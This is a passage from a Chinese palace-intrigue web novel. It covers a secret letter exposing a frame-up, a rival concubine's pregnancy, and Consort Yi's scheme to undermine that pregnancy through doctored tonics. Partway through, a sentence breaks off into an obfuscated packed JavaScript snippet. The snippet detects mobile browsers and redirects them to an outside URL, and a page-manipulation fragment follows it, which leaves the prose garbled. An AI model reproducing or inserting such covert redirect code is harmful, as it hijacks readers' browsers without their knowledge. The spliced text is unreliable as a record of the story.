哪里是什么姐妹情深,哪里是什么真心相待,从头到尾,都是一场精心策划的骗局! 怡答应接近她,讨好她,就是为了摸清她的底细,找机会栽赃陷害她!她掏心掏肺信任的人,就是把她推入深渊的罪魁祸首! 想通的那一刻,慎答应浑身的血液都凉了,她趴在床榻上,死死咬着被褥,哭得浑身发抖,既恨自己的愚蠢识人不清,又恨怡答应的阴狠毒辣,更恨自己如今被困在这方寸之地,连辩解的机会都没有。 哭了整整一夜,天亮的时候,慎答应抹干了脸上的泪,眼底的怯懦和惶恐散去,只剩下孤注一掷的坚定。 她不能就这么白白被陷害,不能就这么毁在怡答应手里。 这后宫里,唯一能帮她,唯一值得她信任的,只有愉常在林清芷。 她要给愉常在姐姐写信,她要告诉姐姐真相,她要让所有人都知道,怡答应是个什么样的毒妇! 趁着清晨送饭的功夫,慎答应把老宫人拉到内殿,“噗通”一声跪了下去,死死抓着她的手,眼泪止不住地掉:“张嬷嬷,我知道我现在求你,是让你冒着杀头的风险,可我实在是走投无路了!我是被人陷害的!害我的人就是怡答应!” 张嬷嬷看着她哭得惨白的脸,心疼得红了眼眶,连忙扶起她:“主子,您快起来!老奴是您从潜邸带出来的,这条命都是您的,您有什么吩咐,只管说!老奴就算拼了这条命,也帮您办到!” “我要你帮我,把这封密信,偷偷送到承乾宫,交到愉常在姐姐手里,亲手交到她手上,不能让任何人看见!”慎答应从袖中掏出一张叠得极小的素纸,上面是她用胭脂写的密密麻麻的字,“这封信,关系到我的生死,也关系到怡答应那个毒妇的真面目,一定要安全送到愉常在姐姐手里!” 张嬷嬷接过密信,小心翼翼地缝进了自己的袖口夹层里,重重地点了点头:“主子放心!老奴就算是死,也一定把信送到愉常在娘娘手里!” 当日下午,张嬷嬷借着去御膳房给慎答应取点心的由头,避开了守门太监的耳目,绕了远路,偷偷溜到了承乾宫门口。她不敢直接闯进去,只能在宫墙根下徘徊,好不容易等到承乾宫的大宫女清禾出来采买东西,连忙冲上去,把她拉到了僻静的角落。 “清禾姑娘!求求你,救救我家主子!”张嬷嬷“噗通”一声跪在地上,从袖口掏出密信,双手递了上去,“这是我家主子慎答应娘娘,亲手写给愉常在娘娘的密信,求您一定亲手交到娘娘手里!我家主子是被冤枉的!是怡答应陷害的她!” 清禾吓了一跳,连忙扶起她,接过密信塞进袖中,压低声音道:“嬷嬷快起来!这里人多眼杂,你快回去,别被人发现了!信我一定交到我家主子手里,你放心!” 张嬷嬷连连道谢,又匆匆忙忙地绕路回了储秀宫,幸好一路无人察觉,有惊无险。 承乾宫东偏殿里,林清芷看着手里那张被叠得皱巴巴的素纸,上面的胭脂字迹歪歪扭扭,有的地方还被泪水晕开了,可每一个字都透着慎答应的绝望与愤怒,清清楚楚地写着怡答应是如何一步步接近她、讨好她,如何接触寿礼匣子,如何在寿宴前一晚给她喝了莲子羹,寿宴上又是如何假意求情实则坐实罪名的。 信的最后,慎答应写着:“姐姐,我知道我蠢,我识人不清,被人骗了还帮着人数钱。可我真的是被冤枉的,求姐姐帮帮我,求姐姐揭穿怡答应的真面目,不然我就算是死了,也闭不上眼!” 林清芷捏着信纸的指尖微微收紧,眼底一片冰冷。 她早就料到是怡答应做的,可当慎答应亲手写下的证据摆在面前,当那些算计被拆解得明明白白,她还是忍不住心头的怒意。怡答应为了报复她,为了争宠,竟然能做到这个地步,把一个毫无防备、真心待她的人,推入万劫不复的境地,这份阴狠,远超她的预料。 “主子,这……这真的是怡答应做的!太歹毒了!”清禾站在一旁,气得浑身发抖,“咱们现在就去咸福宫,把这封信给宸贵妃娘娘看!咱们一定要帮慎答应娘娘洗冤,不能让她白白被禁足,让怡答应那个毒妇逍遥法外!” 林清芷深吸一口气,压下心头的怒意,缓缓站起身:“备轿,去咸福宫。这件事,不是我们能做主的,必须告诉宸贵妃娘娘,从长计议。” 半个时辰后,咸福宫正殿的门窗再次被关得严严实实。 宸贵妃坐在上首,手里捏着那封密信,越看脸色越难看,看到最后,猛地把信纸拍在桌案上,气得浑身发抖,厉声骂道:“好个狼心狗肺的贱婢!真是好得很!本宫之前真是小瞧了她!一个伎人出身的东西,竟然敢在本宫的眼皮子底下,耍这种阴毒的手段,陷害本宫的人!真是活腻了!” 贤嫔坐在一旁,看完密信,惊得脸色惨白,连连摇头:“怎么会是她?她平日里看着温温柔柔的,对慎答应妹妹那么好,没想到竟然是装的!这心思也太歹毒了!慎答应妹妹真是太可怜了,被人卖了还帮着人数钱!” 恪贵人金氏坐在另一侧,指尖轻轻摩挲着杯沿,眼底闪过一丝冷意:“从一开始,她接近慎答应,就是一场算计。借着慎答应,报复愉常在妹妹,借着陷害慎答应,给自己博重情重义的名声,再借着为慎答应求情的由头勾引皇上,步步为营,滴水不漏,这份心机,整个后宫都没几个人能比得上。” “现在说这些有什么用!”宸贵妃猛地站起身,怒气冲冲地往外走,“本宫现在就去养心殿找皇上!把这封信摔在皇上脸上!让皇上看看,他青眼相加的女人,到底是什么货色!让他知道慎答应是被冤枉的!本宫非要让那个贱婢付出代价不可!” “娘娘留步!”林清芷和恪贵人连忙起身,一左一右拦住了她。 林清芷急声道:“娘娘,您现在不能去!我们现在只有慎答应的一封密信,没有实打实的证据!香膏上没有怡答应的指纹,也没有证人看到她动手脚,单凭慎答应的一面之词,皇上根本不会信!反而会觉得我们是因为嫉妒怡答应得宠,故意捏造证据诬陷她!” “是啊娘娘!”恪贵人也连忙劝道,“怡答应现在正是皇上面前的红人,皇上对她正新鲜,我们贸然去告状,没有实锤,只会惹皇上反感,觉得我们小肚鸡肠,容不下低位份的妃嫔。到时候不仅扳不倒怡答应,还会让皇上对我们阵营心生不满,得不偿失啊!” 宸贵妃被两人拦着,胸口剧烈起伏,怒火却依旧难平:“那你们说怎么办?就这么眼睁睁看着慎答应白白被冤枉,看着那个贱婢拿着我们的人,给自己铺路博宠,逍遥快活?本宫咽不下这口气!” “娘娘,我们不是不帮慎答应洗冤,只是不能急在这一时。”林清芷放缓了语气,条理清晰地劝道,“我们现在已经知道了真相,就有了方向。之前我们安排人去太医院查怡答应拿过的药材,一直没有头绪,现在有了慎 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宸贵妃眉头一皱,厉声呵斥:“慌慌张张的像什么样子!天塌下来了不成?有什么话好好说!” 那太监“噗通”一声跪在地上,喘着粗气,说出了一句让整个大殿瞬间死寂的话:“娘娘!景阳宫那边传来消息!太医院的李院正亲自诊脉,确认怡答应……怡答应娘娘怀了龙胎!已经快一个月了!皇上知道了大喜,已经让李院正带着四个太医,日夜守在景阳宫照看,还吩咐下去,景阳宫的份例全都按嫔位的规制来!只是……只是还没下晋位和赏赐的旨意!” 一句话,像一道惊雷,在殿内轰然炸响。 所有人都僵在了原地,脸上的表情瞬间凝固。 贤嫔手里的茶盏“哐当”一声掉在地上,摔得粉碎,她却浑然不觉,只是瞪大了眼睛,满脸不敢置信:“什么?怀孕了?她……她竟然怀了龙胎?” 恪贵人的脸色也瞬间沉了下来,指尖紧紧攥着,眼底满是震惊。她料到怡答应会争宠,却没料到她竟然这么快,就怀上了皇上登基后的第一个孩子! 宸贵妃整个人都僵在了原地,脸上的怒意瞬间褪去,取而代之的是不敢置信和滔天的怒火,她猛地后退一步,扶住了身后的桌沿,才勉强站稳,咬着牙,一字一句道:“你说什么?再说一遍!那个贱婢……怀了龙胎?” “是……是真的,娘娘。”太监跪在地上,头埋得极低,声音抖得更厉害了,“半个时辰前刚诊出来的,消息已经传遍后宫了。这是……这是皇上登基以来的第一个皇嗣,宫里都炸开锅了!” 永熙朝第一个皇子。 这七个字,像一座大山,重重地压在了在场所有人的心上。 谁都知道这个孩子意味着什么。先帝驾崩,新帝登基,朝局未稳,这个孩子的出生,不仅意味着皇家开枝散叶,更意味着新帝的正统与祥瑞,对皇上而言,意义非凡。哪怕现在还没出生,哪怕还不知道是男是女,也已经是皇上心尖上的宝贝,是整个后宫最金贵的存在。 这个时候,谁要是动怡答应,谁要是告怡答应的状,就是和皇上作对,就是容不下皇嗣,就是对皇家大不敬。 殿内死一般的寂静,只有烛火跳动的噼啪声,衬得气氛愈发压抑、凝滞。 良久,宸贵妃才猛地回过神来,一把抓起桌上的密信,就要撕了它,咬牙切齿道:“好!好得很!真是老天都帮着这个贱婢!偏偏在这个时候怀了孕!本宫真是……真是咽不下这口气!” “娘娘不可!”林清芷连忙上前,拦住了她,把密信从她手里抢了回来,小心翼翼地收好,“娘娘,现在不是动怒的时候!这封信是我们唯一的凭证,不能毁了!” “不毁了留着干什么?!”宸贵妃红着眼睛,厉声喝道,“现在她怀了龙胎,是皇上心尖上的人!我们拿着这封信去找皇上,别说扳倒她了,皇上只会觉得我们是嫉妒她怀了皇嗣,故意诬陷她,想害她肚子里的孩子!到时候别说给慎答应洗冤了,我们整个阵营,都要被皇上厌弃!” 林清芷看着宸贵妃失控的样子,心里也清楚,这件事对整个阵营的打击有多大。怡答应怀了皇嗣,一步登天,就算现在还没晋位,也已经是后宫里仅次于皇后、宸贵妃、懿妃的存在,再也不是那个可以随意拿捏的小小答应了。 可越是这种时候,越不能乱。 她深吸一口气,扶着宸贵妃坐回软榻上,语气温和却无比坚定:“娘娘,您冷静一点。您说得对,现在我们绝对不能去找皇上,不仅不能去告状,连对怡答应的不满,都不能露出来半分。” 17. 白氏暗害,池氏心慌 她深吸一口气,扶着宸贵妃坐回软榻上,语气温和却无比坚定:“娘娘,您冷静一点。您说得对,现在我们绝对不能去找皇上,不仅不能去告状,连对怡答应的不满,都不能露出来半分。” 她顿了顿,一字一句地分析着眼前的局势:“第一,怡答应怀的是永熙朝第一个皇嗣,皇上现在正是最欢喜、最看重的时候,我们这个时候去告她陷害慎答应,没有实锤证据,只会触怒皇上,落得个‘善妒、容不下皇嗣’的罪名,太后也绝不会饶了我们。到时候不仅扳不倒她,反而会把我们自己搭进去,得不偿失。” “第二,怡答应现在有了身孕,必然会更加谨慎,之前陷害慎答应的证据,一定会彻底销毁。我们现在贸然动作,只会打草惊蛇,让她有所防备,以后再想抓到她的把柄,就难上加难了。” “第三,也是最重要的一点,怡答应怀了身孕,就等于把自己放在了明面上,成了所有人的靶子。皇后不会容她,懿妃也不会看着她一步登天,后宫里多少双眼睛盯着她的肚子,等着她出错。我们现在最该做的,不是冲上去当这个出头鸟,而是按兵不动,坐山观虎斗,等着她自己露出马脚。” 恪贵人也连忙上前,附和道:“愉常在妹妹说得极是。娘娘,现在最忌讳的就是冲动。怡答应虽然怀了身孕,可也不是高枕无忧了。怀孕十月,漫长的很,她性子急,野心大,总会有出错的时候。我们现在只需要盯紧她,一边安抚好慎答应,一边暗中收集她的把柄,等时机成熟了,再给她致命一击,一击必中。” 贤嫔也回过神来,连忙劝道:“是啊娘娘,愉常在妹妹和恪贵人妹妹说得对。现在我们去找皇上,不仅没用,反而会害了我们自己。只能先忍一忍,等以后再找机会。不然怡答应没扳倒,我们反倒先被皇上厌弃了,那才是真的完了。” 三人你一言我一语,终于让宸贵妃彻底冷静了下来。 她靠在软榻上,闭着眼睛,胸口依旧剧烈起伏,良久,才重重地叹了口气,睁开眼,眼底满是不甘与无力:“本宫活了二十多年,从来没受过这种窝囊气!明明知道是那个贱婢害了我们的人,明明知道她一肚子坏水,现在她怀了孩子,我们不仅不能动她,还要装作欢喜的样子去给她道贺!真是气死本宫了!” “娘娘,小不忍则乱大谋。”林清芷轻声道,“现在的隐忍,是为了以后能彻底扳倒她。她现在得意,不过是靠着肚子里的孩子。可这后宫里,怀上龙胎容易,平安生下来难。多少双眼睛盯着她的肚子,她能不能平安生下这个孩子,还不一定呢。” 这句话,点醒了在场的所有人。 后宫之中,母凭子贵,可也有太多妃嫔,因为怀了龙胎,成了众矢之的,最后落得个一尸两命的下场。怡答应虽然有太后的一点情面,有懿妃的阵营撑腰,可她树敌太多,皇后恨她抢了圣宠,宸贵妃阵营恨她陷害慎答应,后宫里无数人嫉妒她怀了第一个皇嗣,前路凶险,步步惊心。 宸贵妃眼底闪过一丝冷光,紧绷的肩膀终于松了下来。她点了点头,沉声道:“好,本宫就再忍她这几个月。你们吩咐下去,宫里所有人,都给本宫安分点,不许去找怡答应的麻烦,不许说半句对她不满的话,对外,就说我们知道她怀了龙胎,都替皇上高兴。” “另外,”她顿了顿,看向恪贵人,“你继续让人盯着太医院,盯着景阳宫,怡答应的一举一动,她吃了什么,用了什么,见了什么人,都要一字不落地报给本宫。还有,继续查她陷害慎答应的证据,不管用什么办法,一定要查到!” “是,嫔妾遵命。”恪贵人躬身应道。 “还有慎答应那边,”宸贵妃看向林清芷,“你找个可靠的人,给她递个消息,告诉她,我们知道她是被冤枉的,一定会帮她洗冤。只是现在怡答应怀了龙胎,时机不对,让她再忍一忍,在禁足期间安分守己,好好保重身体,不要冲动闹事,我们一定会找机会救她出来。” “嫔妾明白。”林清芷点了点头,心里也清楚,现在只能先安抚好慎答应,不能让她在这个时候冲动闹事,不然只会给怡答应落下口实,反而害了自己。 几人又细细商议了半个时辰,把所有细节都安排妥当,确保不会出任何差错,才各自散去。 林清芷走出咸福宫的时候,夕阳已经西斜,橘红色的余晖洒在宫墙上,把她的影子拉得很长。 清禾跟在她身后,低声叹了口气:“主子,真是没想到,怡答应竟然怀了龙胎,这下好了,我们不仅不能给慎答应娘娘洗冤,还要处处让着她,真是太憋屈了。” 林清芷脚步不停,眼底一片清明,声音平静却带着一丝冷意:“憋屈是暂时的。她怀了龙胎,看似一步登天,实则是把自己架在了火上烤。枪打出头鸟,现在整个后宫的眼睛都盯着她,她的日子,只会比以前更难过。” 她抬头看向远处的景阳宫,那里灯火通明,人来人往,全是去伺候的宫人太监,风光无限。 可林清芷知道,这份风光的背后,是无尽的凶险。 怡答应以为这个孩子是她最大的筹码,是她往上爬的阶梯,却不知道,这也是她最大的催命符。 后宫之中,从来都是爬得越高,摔得越惨。 与此同时,景阳宫正殿里,早已乱成了一团。 太医们进进出出,宫女们端着安胎药、补品,小心翼翼地穿梭,殿内的陈设全都换了新的,地上铺了厚厚的防滑地毯,桌角都用软布包了起来,生怕有半点闪失。 怡答应令氏靠在软榻上,手轻轻抚在自己的小腹上,脸上带着难以置信的欣喜,眼底却藏着浓浓的野心与算计。 她也没想到,自己竟然这么快就怀上了龙胎。 这是皇上登基后的第一个孩子,是永熙朝的皇长子,只要她能平安把这个孩子生下来,她就再也不是那个任人践踏的伎人,再也不是那个看人脸色的小小答应。她会成为嫔,成为妃,甚至成为贵妃,在这后宫里,真正站稳脚跟。 晚翠端着安胎药走进来,满脸欣喜地笑道:“主子,安胎药熬好了,您快趁热喝了。李院正说了,这药最是安胎稳气,您喝了,小皇子一定能平平安安地生下来!” 怡答应接过药碗,闻着那苦涩的药味,却一点都不觉得难喝,反而觉得满心欢喜。她一口一口地喝完了药,放下碗,对着晚翠冷声道:“吩咐下去,景阳宫上下,所有人都给我打起十二分的精神,守好宫门,不该说的话半句不许说,不该做的事半点不许做。但凡有谁敢走漏半点风声,或是手脚不干净,立刻乱棍打死,绝不容情!” “是,奴婢遵命!”晚翠连忙躬身应道。 怡答应的手再次抚上小腹,嘴角勾起一抹冰冷的笑意。 她知道,现在整个后宫的人,都在嫉妒她,恨她,尤其是宸贵妃和愉常在林清芷。她们一定知道了是她陷害的慎答应,一定恨不得杀了她。 可那又怎么样? 她现在怀了龙胎,有皇上护着,有太后看着,谁敢动她? 林清芷,你不是不肯收我吗?你不是冷眼旁观我在泥沼里挣扎吗?现在,我怀了皇嗣,一步登天,而你护着的人,还在禁足里苦苦挣扎。你斗不过我的。 这后宫里,笑到最后的人,一定是我。 她抬眼看向窗外承乾宫的方向,眼底闪过一丝阴狠的光芒。 慎答应的事,只是个开始。接下来,该轮到你了,愉常在姐姐。 深宫中的光 第十八章胎动六宫,笑里藏刀 永熙元年六月下旬,怡答应令氏怀了龙胎的消息,像一阵狂风,席卷了紫禁城的每一个角落。 不过半日功夫,上至太后的慈宁宫,下至浣衣局的杂役宫院,无人不知,无人不晓。这是永熙帝萧敬轩登基以来的第一桩皇嗣喜事,哪怕先帝国丧期未满,不宜大肆庆贺,也挡不住后宫的暗流翻涌。景阳宫一夜之间从无人问津的偏殿,成了整个紫禁城最热闹的地方,太医院的太医轮班值守,内务府的流水般的补品源源不断地送进去,连守门的太监,腰杆都挺直了几分。 可这份泼天的风光背后,是后宫各方势力翻江倒海的算计与怨怼。 翊坤宫:笑面藏刀,暗布棋局 翊坤宫正殿里,地龙烧得暖融融的,懿妃白氏端坐在上首的软榻上,一身月白色的常服,眉眼温和,嘴角噙着恰到好处的笑意,看着下首站着的淑嫔陈氏,语气温和:“怡答应怀了龙胎,是咱们整个后宫的大喜事,更是咱们阵营的脸面。她年纪小,又是第一次怀孩子,什么都不懂,你是生过三皇子的人,最懂养胎的规矩,往后你多往景阳宫跑跑,好好教教她,别让她出了什么差错,伤了龙胎。” 淑嫔连忙躬身应道:“嫔妾谨遵娘娘吩咐。娘娘说的是,怡答应妹妹怀的是皇上登基后的第一个孩子,金贵得很,嫔妾定然会尽心竭力,好好教妹妹养胎的规矩,绝不让她出半点闪失。” 淑嫔是皇三子萧景琪的生母,性子温顺,没什么野心,自入宫以来便一直依附懿妃,对懿妃的话向来言听计从。她只当懿妃是真心看重怡答应肚子里的孩子,想护着这个皇嗣,丝毫没察觉懿妃眼底深处一闪而过的冷意。 懿妃笑着点了点头,抬手示意身边的宫女捧过来一个描金漆盒,打开来,里面是上好人参、燕窝、阿胶,全是最顶级的安胎补品。她把盒子递给淑嫔,温和道:“这些东西,你替我给怡答应送过去。告诉她,安心养胎,有我在,这后宫里没人敢欺负她。缺什么,少什么,只管跟我说,不用跟我客气。” “是,嫔妾这就去。”淑嫔接过盒子,恭恭敬敬地告退了。 看着淑嫔的身影消失在殿门外,懿妃脸上的温和笑意瞬间散去,端起桌上的茶盏,狠狠抿了一口,眼底满是冰冷的算计。 开心?她怎么可能开心。 她把怡答应收入麾下,是想让她做一枚棋子,分走皇后和宸贵妃的圣宠,替她打探消息,可不是让她一步登天,压在自己头上的。 这后宫里,谁都能生皇子,唯独怡答应不行。 她是太后宫里出来的人,本就有太后做靠山,如今再怀了永熙朝的第一个皇子,若是平安生下来,母凭子贵,晋位嫔、妃是迟早的事,到时候,哪里还有她这个懿妃的位置?更何况,她自己也想生一个属于自己的皇子。她只有一个二公主萧和媛,没有亲生皇子,在这后宫里,终究是根基不稳。皇后有嫡子,贤嫔有皇长子,淑嫔有三皇子,只有她,膝下空虚,只能靠着隐忍和算计站稳脚跟。 怡答应这一胎,就是她最好的机会。 她要借着“护胎”的名义,一点点掏空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344803|199488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怡答应的身子,让这一胎生不下来,就算生下来,也会是个体弱多病的孩子,成不了气候。同时,她要借着这个机会,好好调理自己的身子,抢在所有人前面,怀上属于自己的皇子。 “来人。”懿妃放下茶盏,声音冷得像冰。 贴身嬷嬷立刻上前,躬身道:“娘娘有何吩咐?” “你去景阳宫盯着,”懿妃压低声音,一字一句道,“淑嫔教怡答应养胎规矩的时候,你就在旁边看着。送过去的那些补品,里面加的东西,都安排妥当了吗?” “娘娘放心,都安排好了。”嬷嬷连忙道,“燕窝里加了极微量的马齿苋,剂量极小,太医根本查不出来,短期吃着没事,长期吃下去,慢慢就会动了胎气,伤了根本,绝对不会让人查到是咱们动的手脚。还有给她安排的安胎方子,看着是温补的,实则有两味药药性相冲,慢慢耗着她的气血,保准神不知鬼不觉。” “很好。”懿妃满意地点了点头,眼底闪过一丝狠厉,“记住,手脚干净点,绝对不能留下任何把柄。既要让她的胎稳不住,又不能让她直接小产,不然皇上和太后第一个就会查到我们头上。我要的是,她十月怀胎,日日被胎气折腾,最后就算生下来,也落个母子俱损的下场。” “奴婢明白。” “还有,”懿妃顿了顿,补充道,“太医院的王院判,不是一直跟咱们交好吗?你去告诉他,往后怡答应请脉,让他多说好话,只说胎相安稳,有什么不对劲的,先报给我,不许跟任何人说。另外,让他给我配一副最好的温补求子方,我要好好调理身子,争取早日怀上龙胎。” “是,奴婢这就去办。”嬷嬷躬身退了下去。 殿内只剩下懿妃一人,她走到窗边,看着远处景阳宫的方向,嘴角勾起一抹冰冷的笑。 怡答应,你以为怀了龙胎,就能一步登天了?太天真了。 这后宫里的路,从来都不是怀了孩子就能走得稳的。你的孩子,不过是我往上爬的垫脚石罢了。 景仁宫:妒火焚心,惶恐不安 翊坤宫的温情脉脉传不到景仁宫东偏殿,这里只有一片死寂的冰冷。 惜常在池婉跪在佛龛前,手里拿着佛珠,却一个字都念不进去,眼泪止不住地往下掉,砸在素色的衣襟上,晕开一片湿痕。 她怎么也没想到,怡答应竟然怀了龙胎。 当初怡答应走投无路来投懿妃,是她看着怡答应跪在地上,赌咒发誓唯懿妃马首是瞻。那时候,她是懿妃阵营里唯一的低位份妃嫔,懿妃有什么事,都会先想着她,哪怕她不得宠,也有懿妃护着,没人敢随意欺负她。 可自从怡答应来了之后,一切都变了。 怡答应容貌比她出众,心思比她活络,嘴比她甜,很快就得了懿妃的另眼相看。如今更是一步登天,怀了皇上登基后的第一个龙胎,就算现在还是个答应,可待遇已经和嫔位无二,等孩子生下来,晋位分是板上钉钉的事。 到时候,怡答应成了主子,她还是个小小的常在,怡答应怎么可能容得下她?懿妃眼里只会有怡答应和她肚子里的皇嗣,哪里还会记得她这个没用的弃子? 越想,惜常在心里越慌,越想越怕,手里的佛珠“啪嗒”一声掉在地上,散了一地。 贴身宫女连忙上前,捡起草珠子,小声劝道:“主子,您别慌,别哭了。懿妃娘娘还是看重您的,您毕竟是潜邸就跟着娘娘的老人,怡答应就算怀了龙胎,也越不过您去的。” “越不过去?怎么可能越不过去!”惜常在猛地抬起头,眼睛哭得红肿,声音带着歇斯底里的颤抖,“她怀的是永熙朝第一个皇子!是皇上心尖上的宝贝!等孩子生下来,她就是主子,我就是个奴才!懿妃娘娘现在满心满眼都是她肚子里的孩子,哪里还会记得我?当初我没能争到圣宠,娘娘就已经对我失望了,现在有了怡答应,她迟早会把我赶出去的!” 她越说越绝望,趴在桌案上,哭得浑身发抖。她在这后宫里,无依无靠,唯一的靠山就是懿妃,若是懿妃弃了她,她就会像之前那些无宠的低位份妃嫔一样,悄无声息地死在这深宫里,连个水花都不会有。 哭了许久,惜常在猛地擦干眼泪,站起身,整理了一下衣襟,咬着牙道:“走,跟我去翊坤宫,给娘娘请安。” 她必须去看看,看看懿妃到底是什么态度,就算不能让懿妃像以前一样看重她,至少也要让懿妃记得,还有她这么一个人。 可到了翊坤宫正殿,懿妃只是淡淡瞥了她一眼,连让她起身的意思都没有,语气敷衍:“你来了?有事?” 惜常在跪在地上,心一点点沉了下去,连忙道:“嫔妾……嫔妾听说怡答应妹妹怀了龙胎,特意过来给娘娘道喜。这是咱们阵营的大喜事,嫔妾心里也替娘娘高兴,替怡答应妹妹高兴。” “嗯,有心了。”懿妃端着茶盏,轻轻吹了吹浮沫,连正眼都没瞧她一下,“你要是没事,就回去吧。我这里忙着安排景阳宫的事,没功夫招呼你。往后没什么要紧事,不用天天过来请安,安分守己待在自己宫里就好。” 都是怡答应!都是这个女人!抢走了她的靠山,抢走了她的机会! 若是没有她,懿妃娘娘不会这么对她!若是她肚子里的孩子没了,一切就都会回到原来的样子!